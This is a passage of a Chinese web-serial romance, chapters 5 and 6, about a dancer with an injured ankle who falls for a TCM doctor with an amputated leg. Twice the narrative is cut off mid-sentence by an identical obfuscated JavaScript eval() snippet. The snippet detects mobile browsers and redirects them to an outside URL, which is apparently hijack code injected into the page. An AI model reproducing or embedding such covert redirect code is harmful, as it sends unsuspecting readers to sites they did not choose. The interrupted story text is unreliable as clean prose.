周芑揿灭了车顶灯,再度静静望她,“我是用左腿的,车子改装过,正常驾驶员开不了。” 孟圆脑子里吧嗒一下,暗昧遮住了她眼里的惋惜同痛觉,她张了张口,只轻轻涩涩的一声“噢”。 - 周芑坚持要先送孟圆回去,不是绅士的品格,是男性应当的责任和基本素质。 出租车里,大概有第三人在场,两人皆不再开口聊些什么,一个目视前方,一个转脸望着窗外的灯火与车流。 新式里弄昏黄的路灯下,楼栋门前,周芑同孟圆道别。 下一秒,憋了一路的人启口,“周芑,要么,我下次还是挂你的号吧。” 周芑无声的考量,缓缓回应,“我总归是内科医生,肖医生是不错的医生,你可以信任他的专业水平。” 孟圆愣一下,再有什么都咽下去了。 周芑看她,再补充道:“你有问题也可以找我。” 孟圆牵一下嘴角,送出一个礼貌的微笑,“谢谢周医生招待,再会。” 袅袅婷婷的背影恨恨地怪自己,记吃不记打! 5. C5. 五月,榴花火。 冷天冷月总算过去,上个月30天,S市淅淅沥沥的落雨日子就有半个多月。现下,风里也没了那一丝潮嗒嗒的青涩感觉,一夜间换做温暖的生气。 天,已然有淡淡的夏日气息。 孟圆在肖医生手上做了5次针灸治疗,效果不错,脚踝活动度恢复了个大概,虽然没有明显不适,要回到受伤前的状态却还差得远。这回她不敢再大意,到底是伤筋动骨。 上回的治疗后,肖医生说针灸可以停一停,气血筋络疏通了,后头的愈合期至少要6到8周,养和修复才是最关键的,日常建议先从低强度的关节灵活性和活动度训练开始。当然,她那头有熟悉的专业运动康复老师,那么他就开一帖辅助内调的中药,不方便熬的话药房也能代煎,先喝一个礼拜看看再调整。 孟圆一一都应下。这个月头赶上小长假,团里《重会玉簪记》的第二轮巡演正式开始,接下来的两个月,一队全体演员要辗转4个城市12场演出,而孟圆因为脚踝伤确定缺席本次三站巡演。也就是说,为了养伤也因为养伤,总归她难得得了个空闲。 闲下来,孟圆自然逃不掉到袁敏那头去点卯。因为女儿的原因,袁敏关注了一应的社交媒体账号,有孟圆的,也有剧院的官方号,那条“孟圆因伤病原因不出席本次4个城市巡演”的官方演出通告,她终于还是晓得了。袁敏急得呀,中式家长兴师问罪式的关心,电话里喊起来,又伤了啥地方,严重伐,哪能演出都去不了,早就要你不要跳了,考公考教师都好……嘴里不饶人的人关心都在行动上,夜里厢急吼吼就要来家里看她。 孟圆没办法,又是拍照又是视频的拦住袁敏,都差不多好了,不信明朝我过去给你看看好吧啦,大晚上你这么急吼拉吼的谁敢要你出门呀。而且,“你不休息王叔叔不要休息呀,我也要休息啊。” 那边的人终于息了声。 第二天上午,孟圆在山姆下单了些水果和海鲜送去袁敏那头,人才磨磨蹭蹭过去。不用说,袁敏鸡汤骨头汤的烧了一桌子,要给她补补。 孟圆看得头都大了,半撒娇的口吻,“你弄这么多,几个肚皮也装不下呀,都讲差不多好了,我跳两下给你看看好伐。” “你少来,”袁敏绷着脸觑她,窝心也忧心,“你老实一点,好好吃饭。” 王叔叔也关心地附和,“多吃点,伤筋动骨要好好休养,营养也要跟上的。” 孟圆点头,她看过医生,要他们放心。 袁敏老生常谈的话头再扯起来,放心,哪能放心,“你总归首席也做了,要么今年过后就不要跳了,年纪还来得及,考个公考个教师好了。” 孟圆瞥她一眼,“妈妈,你不要总是这么专断好不好,也尊重一下我的事业,我的想法。走到路上还有人崴脚的,那人家不要出门了好吧。” 妈妈哪能听不出女儿的话里有话,她终究还是怪她,注销了她爸爸的电话,“人家我管不到,但是你,是第一次受伤吧,啊——” 老王赶紧搁下碗筷,安抚袁敏,“好啦好啦,先吃饭,孟圆难得来一趟,不急的事情,以后慢慢讲好啦。”母女真两个顶真对仗起来他才更为难,各自子女成年后的重组家庭,最是什么该说什么不该说的难把握。 袁敏也搁了筷子顺顺气,大概还是没忍住,小声的一句叹,“都是你爸爸惯的……” 孟圆望她,沉默半秒,不再讲话,转头专心对付眼前这碗汤。 后来的气氛,平平淡淡,孟圆吃过饭就说要走。袁敏还想留她住两天的,李卉卉的电话及时赶到,问孟圆在哪,她就今朝下午有空,约不约。 出了小区,孟圆给卉卉回电,才转个弯,眼前这条马路不晓得什么时候也成了游客打卡地了。她干脆要卉卉去她那里吧,到处都是人,她也不高兴荡马路了。 “刚从我妈妈这里出来,白斩鸡烤麸油爆虾,我们晚餐有了。” - 晚餐,卉卉打包了两杯冰奶茶来,新出的口味。并且,自我安慰的少少糖。 卉卉夸阿姨烧菜的功夫,哈嗲!另一边,她也不忘八卦好姐妹,什么进度了,单身男女,吃过吃火锅,摸过脚弯弯(脚踝)。 “闭嘴。”孟圆受不了她,没眼看的样子,原本都要心如止水,给她一搅和,面色寂寂叹了口气,你也别来什么爱情军师了,“拉倒吧。” 卉卉更加来劲,怎么就拉倒了,最重要,你诋毁姐妹的情商同智商可还行。 怎么说呢,上个月和周芑吃了海底捞之后,两个人倒是断断续续的有些联系,也见了两次,只是话题就没超出过脚踝。 孟圆清明节后约了第一次复诊,上午10点,她经过周芑诊室门前,只是匆匆一瞥,周医生正专心给一个头发花白的患者看诊,甚至都没发现她来过。等中午她到团里和同事在食堂吃饭的间隙,有人才突然迟到的微信问候,问她复诊的情况怎么样,平时脚踝带还是要戴着好一些。 孟圆想了想,不确定地试探,[你怎么晓得我今天复诊啊] 明明吃顿饭还180个心眼跟肖师兄套话的周医生,这时候隔着屏幕的云淡风轻,[等肖医生去吃饭的时候,碰巧看到他写门诊病例,好像有一份是你的名字。] 孟圆看了两遍这段文字,哦,原来是眼神好。那么,你十分的客套,我十足的礼貌,[谢谢关心,没什么问题,下个礼拜一继续针灸就行] 那头又是输入了好久,回过来却简短的一句:[有什么问题可以联系我。] 孟圆看某医生得体的话术,客观视角挑不出毛病,可主观意识嘛,我还能有什么问题,找你挂号你不肯呀。 于是,她存心的,存心给他回了个老年人最青睐的微笑emoji表情。自己体会吧! 后来,每次复诊前后,都有周医生的问候微信。而每回医馆里瞧他,他依旧忙碌,专心致志地坐诊,做他悬壶济世的好医生。倒是最后两回,孟圆又是5点的号段,周芑匆匆下班的脚步在她身后喊住她,还是顺路带她一道。 俗话讲,来而不往非礼也。搭了两回顺风车,总归该有些表示,孟圆随口找话题,问周芑住哪里,好像总是麻烦他。 明明是两个方向的人暗暗心虚,周芑微微停顿后目视前方,含糊又严谨的回答,“不远”。 孟圆再等了小半天,确定这就是他的最终答案。她甚至都要检讨是不是自己太没边界感了,哪怕再有什么邀约感谢也顷刻作罢,她就不再自讨没趣了。 这一路,周芑原本还有些话,身边的人陡然静默下来,他似不经意观察后视镜的路况,扫过孟圆的面孔,见她不大有兴致的模样,直觉关心她的脚踝伤,她只是笼统说没什么,没什么感觉。 周芑点头,还想叮嘱几句,啰嗦也好,话才到嘴边,孟圆抢先告诉他,“我好多了,后面应该不要复诊了。” 车子只能短暂泊停在里弄门口的路边,周芑还没反应过来他的失落,孟圆转头郑重同他道谢,“先走了,谢谢。”以及,没有多少情绪的客套话,“有空联系。” 当然,眼下孟圆跟闺蜜的白描里自然没有那么多的细枝末节,“就是那种最纯洁的共产主-义-战士的战友情,不对,没那么深刻。总归就是……”她皱眉苦恼,“AI家庭医生,你懂吧。” 卉卉作为从第一集追更到现在的沉浸式观众,很是惋惜,她也不相信。她的经验,男男女女来来去去就那么些事,他这样式的主动关心,明明就是有好感才对啊。 何况,“你这样的,他什么审美啊。” 为闺蜜忿忿不平的人多少有点草率,一边倒地断言,“他要么是个高端玩家,要么,就是个男菩萨。” 孟圆无语,没忍住笑出来,“什么和什么呀。” 她喝一口奶茶,冰化了味道有些淡了,也淡淡的客观总结,“高端玩家应当不是,但是男朋友么还是要寻个浪漫点的,找个AI我不如抱个IPAD好啦。” 卉卉一听,一口奶茶差点喷出来,被孟圆眼疾手快捂住嘴,“要西(死)啊!” - 小长假过后,孟圆给自己的放纵期也结束了,专注进行康复训练。除了去康复教室,就是照康复老师的指导去健身房。 舞者是残酷且严苛的职业,你没办法找任何借口松懈自己。涨功或许要千锤百炼,回功只需要你偷点懒的时间。是以,越是不训练,越是要靠自己保持身体的能力,比如柔韧,平衡,力量。 一切再次回到按部就班的日复一日里,孟圆没有再约过广白堂的号,很少的一两次刷手机想起来周芑,还真有点南柯一梦的意思。直到,一周后,那个沉底躺列的头像突然诈尸般跳出来。 周医生:[最近脚踝感觉怎么样,康复训练切记不要贪多,循序渐进为好。] 孟圆在排练厅,面色不显心里头嗤笑,呵,AI医生。 她正想着怎么回复不至于显得太生硬,伸手还不打笑脸人呢。一瞬纠结,那头很快又问她了,她几时下班,今天若得空,他想约她见一面,配了几贴外敷药,对关节扭伤骨挫伤有辅助疗效,希望拿给她试试。 孟圆恍恍惚惚,她有点不明白了,然而,刚打好腹稿的客套话是用不上了。她一贯不大喜欢打字聊天的人,索性走到靠窗的角落,给周芑拨了个语音。 “周芑,不晓得你方不方便讲话,我长话短说吧。” “你说,我方便。”平静的声音背后,周医生的心里却莫名紧了一下。 “谢谢你的关心,我的伤其实差不多了,而且,我今天可能没空。”孟圆轻轻柔柔的语调,想尽量委婉点。 语毕,那头明显滞了一声之后的静默。孟圆忽然就心软下来,不想不近人情地弗了他的好意,“要么,我明天去找你拿吧。今天我要带一节课,下班会晚一点。” 周芑松了口气,“你现在在歌剧舞剧院吗。” “嗯。” 周芑似做了决定,“方便给我个定位吗,我能按时下班,顺道给你送过去。” 孟圆一时没跟上,也一时卡壳,你都不晓得地址你就顺道…… 周芑还是和煦沉稳的腔调,喊她,“孟圆?” 孟圆总归有点动容,一咬牙,不管了。“那你7点半左右到吧,我给你我的电话,到了打电话,微信怕我听不到。” - 7点半,暮色不像冬天的时候压得那么低了。 孟圆的电话准时响起来。休养不等于放假,首席演员更是康复之余有一些带教和宣传任务。她此时将将下课,几个演员围在一块,偷懒不想去更衣室,直接拿了包里的外套罩在练功服外头。 孟圆也同样,套上搭在把杆上的黑色oversize长款衬衫,匆匆跟同事告辞,换上鞋子就朝外走。 “你好。”她接通这个陌生的号码。 “你好孟圆,我是周芑。”周医生规矩地自报家门,“我在你们停车场,靠近大门的一个残障停车位,你知道吗。” 孟圆顿一下,“嗯,知道,等我5分钟,我现在下楼。” “我等你,不要着急,你下楼走路当心。”周芑提醒也是叮嘱。 远远的,周芑在车门边看见风风火火的人,肩上挎着只不小的托特包,大步往他这边走来。他眉头轻蹙,朝孟圆迎过去,“慢一点,你……” “不好意思,刚下课。” 周芑打量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062665|195099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,第一次见她这样的装束,或许半个月没见,总之,夜风裹来一阵淡香,她漂亮得不像样。 他替她拉开车门,“脚踝还好吗,先上车再说。” 孟圆趁有人转身,一面系安全带一面嗅了嗅衣襟,幸好没出什么汗,外衫还有香水味。 “那个,是什么药啊。” 周芑偏头瞧心急的人一眼,“不急,吃饭了吗。” “啊?”孟圆摇头,即刻会意,“你还没吃吧,我请你吃饭吧。” 周芑才启动车子,望了她两秒,“不用你请,你想吃什么。” 孟圆实在人,实话实说,她这一身,又刚运动过,“暂时不太想吃,要么——” “那就先回你那里吧。”周芑松了手刹,替她决定。 一路上,周芑没有主动找话,孟圆也索性不响,只悄悄瞟两眼轻车熟路的土著周医生,打量他什么意思,葫芦里又装的什么药。 这时候的路况不错,十来分钟,车子就到了里弄门口。他要孟圆指路,也同保安大哥打个招呼,他送她进去。 待周芑在楼栋的主路旁找了个位置停稳当,他再度揿亮了车内灯,“你的脚踝,我看看。” 这回的气氛不似上回道不明的暧昧,孟圆不听他的。她不明白他,可她不是什么情窦初开的小姑娘,相信周芑也不是。 孟圆冷调素净的妆容,一双眼睛坦荡地盯着眼前人,“周医生对每个病人都是这样吗。” 话一出口,她眼见着周芑的面色一冷,可好修养好风度的人没有一丝闪躲或是气恼,他平静也严肃地回应她,“不是。” “严格说,非必要的特殊情况,我不会加病人或者病人家属的联系方式。” 孟圆没想到她这样刁难意味的问题,有人会这样坦然端正的应对,再想问的话好像怎么也没了那份气势,她也不绕了,“那你……周芑,你是不是喜欢我。” 窗户纸一旦捅破,再想藏的东西势必再难遮掩,即使藏回去也只能是自欺欺人。于是,端人正士的周医生那样深深的目光看着稍显赧色的人,再笃定不过的口吻,“我想,是的。” “什么。”孟圆差点咬到舌头,不是,有人怎么偏偏能这样淡定。 “孟圆,我是喜欢你。”怕她没听明白,周芑这次配齐了主谓宾。 孟圆一时无话,因为她明明白白听到她的心跳得一下比一下快,“为什么。” 周芑愣一下,而后,极轻地笑了,“说实话,这个问题我不晓得怎么回答你。或者说,我也没想到我会喜欢你。” “你,”孟圆险些气笑了,她再有意为难他,同他算账,“那你还让我约肖医生的号。” “孟圆,医患之间也有医患伦理。现行的职业规范或法规里虽然没有明令禁止医患之间产生、发展感情关系,但是,这始终是医生职业伦理的一条红线。” 孟圆面上呆呆的,反应了好半天,就知道学习好的人心眼一定也少不了。 孟圆望着他,面上一点女儿色,“你这算表白吗。” 周芑一如既往的诚实坦荡,更郑重的口吻朝她,“孟圆,其实我没想到今天会和你说这些,既然说了,我希望你慎重考虑,包括我的身体。第一次见面你大概就清楚了,我的右腿,膝盖以下截肢。你看到我的生活工作同健全人没有太大差别,但我是残疾人是事实,生活里也一定会有些能克服的不方便。所以,孟圆,你不用着急给我答案……”他再想到孟警官,一瞬间不确定自己这样做到底对不对,孟警官会不会希望孟圆遇到更好的人。 什么时候了,某人四平八稳地念经不算,最后分明的那一点犹豫,孟圆气得,语气没多好,“我只问你是不是表白。” 周芑看着她,“是。” “那你说一堆,我告诉你,周芑,我从来没有主动朝谁过,邀你吃饭,给你演出票,你还要我多说什么吗。”孟圆越想越气,每次她想算了,他偏偏又出现,明明就是他招惹她的,“你现在跟我说残疾人,残疾人不能谈恋爱吗,你开始就不要招惹我啊,混蛋,你还来给我送药。” 孟圆挎上她的包,转身就要下车,她不想和混蛋说话。 周芑一下攥住她的手臂,攥她回头,什么顾虑都丢到一边,“对不起,孟圆。”他再倾身,一把将她扪进怀里,血液和心跳一起奔腾,而他只想抱住她,“让你走了,我大概才真的要后悔。” 孟圆挣了两下,终于软化在他最后一句话里,然后,掉进他的怀里。 良久,双双闷出些汗意的两人才缓缓松开些。四目相对中,孟圆翻回旧账来,“今天如果我不问你,你要怎么办,一直给我送药么。” 周芑被她瞧得不大好意思,轻轻点头,或许吧,至少暂时他没有更好的想法。 孟圆推开他,不无嫌弃,“周芑,别人送花你送药……”不要说浪漫,简直灾难。 而某人,又犯起职业病来,她说的药提醒他了,“我看看你的脚踝。” 孟圆想到在剧院忙活一天,毫不犹豫地拒绝他,她要回家,要洗澡,“你要看就等我洗过澡再讲。” 90年代的公房里弄,没有电梯,孟圆上楼还是不敢让左脚脚踝太吃力,走得慢一些。等她先一步到3楼再一回头,看同样扶着楼梯扶手的人,突然笑了笑。 周芑闻声,抬头望她,“怎么了。” “没什么。” 不明所以的人也淡笑一下,不再追问。 不过,孟圆到底没摒住,半拉开门等周芑跟上来,站定,她才打趣道:“两个腿脚不好的人爬楼梯,好励志。” 周芑睨着无厘头的人,小半晌,低低的声音笑出来,再抱住她,“没心没肺呢。” 6. C6. 六月,荷莲灿。 孟圆刚进来这条青石砖巷弄,就瞧见前头挨着墙边的停车位上那辆熟悉的德系车。 她走过去敲敲驾驶座的车窗,从车窗微微留出的一条空隙里,笔记本电脑的白光透出来,也打在驾驶座的人脸上。 “周医生这么卷的吗。”孟圆打趣周芑,“给你密码了,怎么不先上楼呀。” 周芑放松下来的神色,只轻轻应一声,快速地归纳好手边的东西,下车来要接孟圆肩上的包袋。 孟圆没肯他拿,不至于。 然而,下一秒,她又把包里头一只大容量珍珠白色的保温杯掏出来,交给周芑,要拿就拿这个吧,包的重量它占四成。而且,“你不是每次要检查吗。” 周芑不语,纵容地一笑。 这事,还得说回上个月。 那场临时的答辩似的表白之后,孟圆请了周医生上楼。进了家门,她从冰箱里取了瓶无糖乌龙茶招待头回上门且新鲜上任的男朋友。孟圆说要先冲个澡,让还没吃夜饭的人开冰箱,她这里多像样的食材怕是没有,但她妈妈给裹的馄饨还有一些,他将就一顿还是没问题的。 “冰箱里还有酸奶饼干车厘子……你自己看看,”孟圆不放心地确认,“锅在橱柜下面,你晓得怎么煮馄饨的吧。” 周芑望着她,一时失笑,他好脾性的温和沉稳,“基本生活技能我还是有的,放心去忙你的。” 不放心的人再强调,“你不用管我啊,我晚上不吃主食的。” 等孟圆头发吹了半干出来,带一身新鲜的香气去找周芑,田螺先生已经把厨房收拾清爽,甚至洗出来一碗车厘子,“不晓得你吃什么,晚餐一点不吃不太好。” “你就吃好了?” “嗯,谢谢招待,你母亲手艺很好。” 孟圆才不理他的客套,“少来。”不过她妈妈的手艺确实蛮灵的。 这边,周医生始终不忘他这趟的目的。他要孟圆端车厘子出去坐好,他给她再检查一下脚踝,另外,“给你试一下外敷。” 孟圆坐在沙发的一端,看着严肃貌的人,她一霎无厘头的脑洞,说家里像黑诊所,周芑就是那个走穴的赤脚医生。哦,因为家里没有男士拖鞋,周医生只能穿了袜子进屋,也算是光脚了。 孟圆再怪周医生,你是不是都不爱笑的,这么严肃,“周芑,我们恋爱第一天诶。”她说着就要蹬他,给周芑托着护着泄了力气。 “你当心。”周医生接受她的控诉,也检讨自己,“你觉得我太严肃的话以后我注意。” 孟圆傻眼又无力,随口有些怨怼的意味,“你以前也这样恋爱的吗。” 周芑顿一下,“没有,”他看一眼即将爆发的人,及时地补充说明,“我的意思是,我之前没有和谁恋爱。”大学的时候没有遇到喜欢的,进了医院又实在忙,根本没旁的心思。再后来,出了事故,治疗康复,转中医,学习考试……更是全然不考虑其它。 周医生的话里总归一点挽尊的意思,而孟圆,惊掉下巴,满脸不可思议,人都坐直了,“你认真的啊?”她再一脸的不信,就凭他的卖相,“我不是套你的话,也不是要查点你以前的事,你放心好了。” 周芑抬眸看她一眼,硬着头皮,“我知道。”他继续他的检讨,也是转移话题,“我没有刻意关注过爱不爱笑的问题,可能职业有关,多数人普遍的认知,医生的技术和年纪成正比,我这个年纪再同谁都嘻嘻哈哈的,大概投诉收到手软。” 孟圆先摒不牢笑起来,但是,“你多大了啊。”没心没肺人后知后觉才记起来,她竟然还不晓得男朋友的确切年纪。这个时候,她想起来查人家户口了。 “问就问,脚别乱动。关节没问题,还是给你上贴药。”周医生忙着手里的,也很认真地做了个自我介绍,包括家庭关系,他之前的专业。 忽然的,周芑短暂的犹豫,固定好她脚踝处的纱布和绷带,“孟圆,其实,那次事故、” “周芑,我真的不介意的,”孟圆温柔笃定口吻打断他,“你现在也很好。” 他右腿伤口恢复不理想,反复几次皮瓣手术亦不理想,所以康复后和假肢的磨合也不好,总之他最后这个原因告别了胸外科。孟圆沉浸在周芑这段灰暗的过往里几乎要感同身受般的伤感遗憾,以至她痛惜中没有领会到他此刻那份晦涩的决心。 孟圆不肯他再剖白那样残忍的时光。她也真的不介意,初见轮椅上的他她是惊讶的。可她后来看到的周芑足够让人钦佩、信任的从容自信,更甚是一种静水深流的力量感。 已然要脱口而出些什么的周芑,静静望着对面真挚的人,汇上她一双真诚清亮的眼睛,他心里翻涌的勇气,终究在他的私心乃至是贪心里悄悄熄灭。或许勇气原本就是一瞬间的冲动,从来脆弱得像一簇摇曳的烛火,禁不住太多一吸一呼的时间来动摇。 “对不起,孟圆。”周芑难掩的愧意。 孟圆却笑着起身要去搂他。 她一双手才扶到人颈后,周芑仰头望她,望她素净秀丽的脸孔同垂下来如瀑如缎的黑发。他一双手去拦在她的腰侧,当真不足盈盈一握。 周医生轻柔的提醒她,“没洗澡。” “周医生有洁癖症吗。”孟圆睨着他,些许揶揄。 认真检讨过的人此时温柔的笑意,“不是只有孟小姐有包袱的,我在外头一天了,一身澳糟。” 哼!孟圆骄傲地转身,她要去拌个酸奶碗,再晚她也不会吃东西了,太罪恶。 周芑跟去厨房,洗手,也趁机说教起她的饮食,还有他刚才在冰箱里头看见她没喝的中药包。以及,那一包包整齐码放在岛台咖啡机旁边,他两个月前开给她的代茶饮。 孟圆狡辩:肖医生开的中药又酸又苦的,而周医生开的药,倒是不难喝,就是有点麻烦,她总忘记泡。 反正,“我也差不多好了。” 周医生望她几秒,代煎的中药就算了,至于他开出来的麻烦,给她调理气血的,喝一喝没坏处。周医生也自然揽下这活,后来但凡他上楼来,总会给她煮好这些灌进保温杯。 于是,便有了眼下孟圆存心的促狭,“你检查看看,里头是不是冰美式。”她还记着上回她下午在团里换了杯外送的冰美式进去,有人皱着眉毛的说教。 周芑淡笑,轻轻扶着她的背,“上去再看。” 两人都是晚上才有些空闲,有时候在外头吃个夜饭周芑再送她回来,有时候周芑自己解决夜饭再来她这里同晚下班的人待上一两个小时。尤其最近两周,工作日孟圆比较忙,而周末,又轮到周芑总有两个半天的门诊值班。 孟圆对此还有些微词,哪里像热恋期啊,我以为我们够累了,怎么中医馆也不遑多让。尤其,逮着周医生薅呢。 周芑无辜苦笑,因为家里两位老周,他一贯是值班首要人选,也因为他俩,现在他还不好推拒。 孟圆今朝看车子里头等她这点空档都还要见缝插针般捣鼓什么文献论文的人,再次感叹,“二代三代的,也不好当呀。” 周芑又是落后她两步跟在她后头,玩笑也一本正经的口吻,“你才晓得呀,务必争气再争气。”很多时候,那些老一辈的光环更像一个紧箍咒,小辈即便有些多出来的资源便利,也必然以牺牲一些自由意志为代价,这大概也是一种能量守恒。 孟圆笑着回头去望他,调侃没出口,发现周芑的脚步有点不对,右腿不太受力的感觉。 “你不舒服呀?”孟圆盯着他的右腿,再疑惑地看他。 周芑迈上最后一级台阶,点点下巴示意她开门,“没什么事。” 孟圆看他不大想说大样子,再同他确认了一次,也不纠结,让他先进门来。 她侧身让出个位置,要某人看。 周芑眼里微微一愣,心底那份时不时作祟的歉仄,杂糅着最柔软也最温暖的动容,他不自禁去牵她的手攥到身前。 孟圆讲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062666|195099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前两年袁敏趁她出国演出的两个月,给她把房子重新翻新装修过,法式极简的风格,所以她特地淘了张法式复古风的换鞋凳。他之前每次来,拖鞋子扶着墙还好,穿鞋子总要挪张餐椅来。 孟圆口里丝毫不掩饰的娇嗔,“其实前两天就到了,老忘记去驿站拿。我今天上午拿回来的,上班迟到了20分钟。” “对不起。”周芑拉着她更紧了。 孟圆不满意他的话,“你就没有更浪漫点的表达呀。”她信了,有人是凭实力单身的。 周芑垂眸望着她,绅士得到了允许,终归底下头去。圈住她,贴上她的唇,轻柔的,也激进的,克制的,偏偏要流连。 夏日的炎炎已经初现端倪,很快,孟圆给周芑惹得洇出层薄汗。她微喘着推一下身前的人,肩上的包滑下来了。而且,下班回来她都没洗澡,她出汗了的。 周芑笑着松开她,去接她滑下来的包袋,“还是你的香水味。” - 时间依旧,城市依旧。夏日的巷弄,孟圆再一次去敲泊停在一旁的车子。这回,车里的人却摇下车窗要她上车来。 “怎么啦,要干嘛。”孟圆阖上副驾驶的门,自然地转身抬眸,打量着周芑。 外头偶尔一两个过路人同电动车,车内凉爽的安静,周芑觉得自己似乎有些迷恋这样不经意的她,像一阵最纯粹的风,风吹过去却留下了影踪。 “不去哪里,就是看看你。”周芑望着她陈述道。 “神经病,”孟圆吐出一句方言,摒不住弯了嘴角,还以为有人要搞什么花头经。“那要我上车干嘛。” 下一秒,有人分明顿了一拍,他回以笑意,口里却一点无奈,“今朝不方便爬楼。”而且,人家看见他这样,于她总归不大好。 孟圆一时没反应过来,倾身探过去驾驶座要看他。 周医生温柔托住粗心的人的下巴,扶着她的肩,拿手别她的脸去瞧拆在后排的那架黑色轮椅,“和第一次见面一样,没穿假肢。” 闻言,孟圆挣开他,急吼吼问他怎么回事。 周医生习以为常的清淡言语,“没什么事,和你说过的,有几块瘢痕皮肤比较薄也比较敏感,磨破了怕感染,暂时不好穿假肢。” 他看她,又追加一句,“过两天就好了。” 孟圆一时哑口,因为心里涩涩的,只能去拉他的手。 “会不会觉得有点麻烦。” 孟圆醒神,乜他一眼,丢开他的手怪他,“勿要哈港八港(不要胡说八道)。” 她催周芑,“还在这里瞎等,你早点回去休息好了呀。” 周芑只淡淡告诉她,“今天还没见面,想你也陪我一会。” 孟圆给他说得心里软咚咚,也不是不会讲好听话嘛,但是也真真的木头,缺西! “你不晓得跟我讲呀,你是只晓得来我家吗。” 周芑愣愣瞧了她一瞧,似乎领悟到些什么,融会贯通的人遂郑重地邀请,“孟圆,你愿意去我家吗,我自己住,晚一点送你回来?” “缺西。”孟圆轻声吐槽。 周芑笑起来,再温柔提醒,“安全带。” - 车子开出去十分钟,副驾的人才再度开腔,“去撒(什么)地方啊。” 孟圆扭头问周芑,“你住哪里呀。” 司机先生面不改色一如既往的稳,黄浦那头,“离你这里不太远,离广白堂也不远。” 孟圆恍然大悟,有人根本就不顺路。她不响,只静静投他一眼,目光定定落在他面上。 片刻,周芑嘴角抱歉的笑容,目光依旧盯着路况同她解释:他从前住的老房子确实离她家不远,就几条横马路,医学院那边,七八分钟的车程。只是他后来换了工作,他父亲又搬去和老爷子住了,他就在那头置办了一套房子,老房子也赁出去了。 孟圆摒了半天,再瞥他一眼,突然的笑意,偏她高冷地别苗头,“谁问你了呀。”